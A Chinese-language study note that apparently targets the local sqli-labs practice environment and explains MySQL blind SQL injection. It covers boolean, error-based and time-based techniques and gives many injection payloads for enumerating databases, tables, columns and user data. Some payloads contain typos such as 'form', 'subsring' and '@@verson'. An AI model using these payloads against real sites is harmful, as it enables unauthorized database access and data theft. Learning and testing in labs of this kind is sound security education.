**mysql盲注**

**一、SQL注入的基础**

1. **当在浏览器输入id值时，sql的语句会变成select .....from users where id=......LIMIT0,1**

**例：**

**[http://127.0.0.1/sqli-labs/Less-1/?id=1会自动转化为select](http://127.0.0.1/sqli-labs/Less-1/?id=-1会自动转化为select) ....from users where id=’1’ LIMIT0,1**

**注意：（1）--+或#起注释作用，会将后面的所有语句删除掉**

1. **union的作用连接sql语句，若前一条语句为空，则显示后面语句，反之，则**

**示前面一条语句**

1. **注入类型：id=’$id‘ id=$id id=(‘$id’) id=(“$id”)......**
2. **闭合中的数字后面跟与类型无关的字符，将默认转换为前面的数字**
3. **sql布尔盲注**
4. **基本使用函数**

**（1）Mid（）函数**

**此函数为截取字符串一部分，使用形式：Mid(column\_name,start[,length])**

****

**（2）**s**ubstr()函数**

**Substr()和substring()函数实现的功能是一样的，均为截取字符串。使用形式如下：  
 string substring(string, start, length)  
 string substr(string, start, length)  
注意：参数描述同mid()函数，string为第一个参数为要处理的字符串，start为开始位置，length为截取的长度。**

**（3）Left()函数**

**Left()得到字符串左部指定个数的字符，使用形式：Left ( string, n )**

**string为要截取的字符串，n为长度**

**（4）ORD（）函数，此函数为返回的第一个字符串的ascii码**

**如：ORD(MID(DATABASE(),1,1))>114意为检测database（）第一位ascii码**

**否大于114，也即是“r”**

**（5）ascii()函数**

**将某个字符转换为ascii码，与ORD函数相似**

1. **regexp 正则注入**

**正则注入介绍：http://www.cnblogs.com/lcamry/articles/5717442.html  
用法介绍：select user() regexp '^[a-z]';  
Explain：正则表达式的用法，user()结果为 root，regexp 为匹配 root 的正则表达式。  
第二位可以用 select user() regexp '^ro'来进行。**

1. **like匹配注入**

**和regexp正则注入类似，mysql注入的时候我们可以用like进行匹配**

**用法：select user() like ‘ro%’**

1. **sleep()函数**

**将程序挂起一段时间 ，n为n秒**

1. **if（）语句**

**判断语句，如果第一个语句正确就执行第二个语句，如果错误就执行第三个语句**

1. **length(string)**

**字符串的长度，string为要处理的字符串**

1. **database()是数据库，table()是数据表**
2. **CAST(str AS 目标数据类型）**

**将目标str转化为目标数据类型**

1. **IFNULL(expr1,expr2)**

**如果expr1不是null,IFNULL()返回expr1,否则它返回的是expr2，且0x20为空**

**2.做题思路**

**（1）先爆数据库，如：**

**?id=1’and length(database()) --+ 看当前数据库的长度**

**?id=1’and left(database(),1) --+ 看当前数据库第一个首字母**

1. **再爆数据表，如：**

**?id=1’and ascii(substr((select table\_name for information\_schema.tables where tables\_schema=database() LIMIT 0,1),1,1))=(<或>)113 --+**

**以此类推，得出所有表**

1. **再判断表中的列名是否有....列,如：**

**?Id=1’and 1=(select 1 from information\_schema.columns where table\_name=’users’and column\_name regexp ‘^username’LIMIT 0,1) --+**

1. **看表中的列的内容，如；**

**?Id=1’and ORD(MID((select IFNULL(CAST(username AS CHAR),0x20）form security.users order by ip LIMIT 0,1),1,1))=68 --+**

1. **基于报错的sql盲注**

**1.函数**

**Count----------------------用于计数**

**Floor----------------------取得0或1，进行数据的重复**

**Group by-------------------对相同数据进行分组（相同的一组）**

**Rand()---------------------一个随机函数，但使用一个固定的随机数种子0后，成为固定的伪随机序列**

**2.报错类型**

**（1）平常报错注入**

**?id=1’union select 1,count(\*),concat(0x3a,0x3a,(select user()),0x3a,floor(rand(0)\*2))a form information\_schema.columns group by a--+**

1. **利用double数值类型超出范围进行报错注入**

**?Id=1’union select (exp(~(select \* from(select user())a))),2,3 --+**

1. **利用bigint溢出进行报错注入**

**?Id=1’union select (!(select \* from(select user())x) - ~0),2,3 --+**

1. **xpath函数报错注入**

**?Id=1’and extractvalue(1,concat(0x7e,(select @@version),0x7e)) --+**

**?Id=1’and updatexml(1,concat(0x7e,(select @@verson),0x7e),1) --+**

1. **利用数据重复性报错注入**

**?Id=1’union select 1,2,3 from (select NAME CONST(version(),1),NAME CONST(version(),1))x --+**

**红色标注的地方是可以爆库，爆表的**

1. **基于时间的sql盲注**

**1.函数**

**Sleep(N)-------------可以让语句运行N秒**

**Benchmark()-----------一个mysql的内置函数，主要用来测试一些函数执行速度，且带有两个参数，一个为执行次数，一个是执行函数或表达式**

**2.延时注入类型**

**（1）利用sleep()函数进行注入**

**?Id=1’and if(ascii(substr(database(),1,1))=115,1,sleep(5)) --+**

1. **利用benchmark()进行延时注入**

**?Id=1’union select (if(subsring(current,1,1)=char(115),benchmark(50000,encode(‘MSG’,’by 5 seconds’)),null)),2,3 from(select database() as current) as tb1 --+**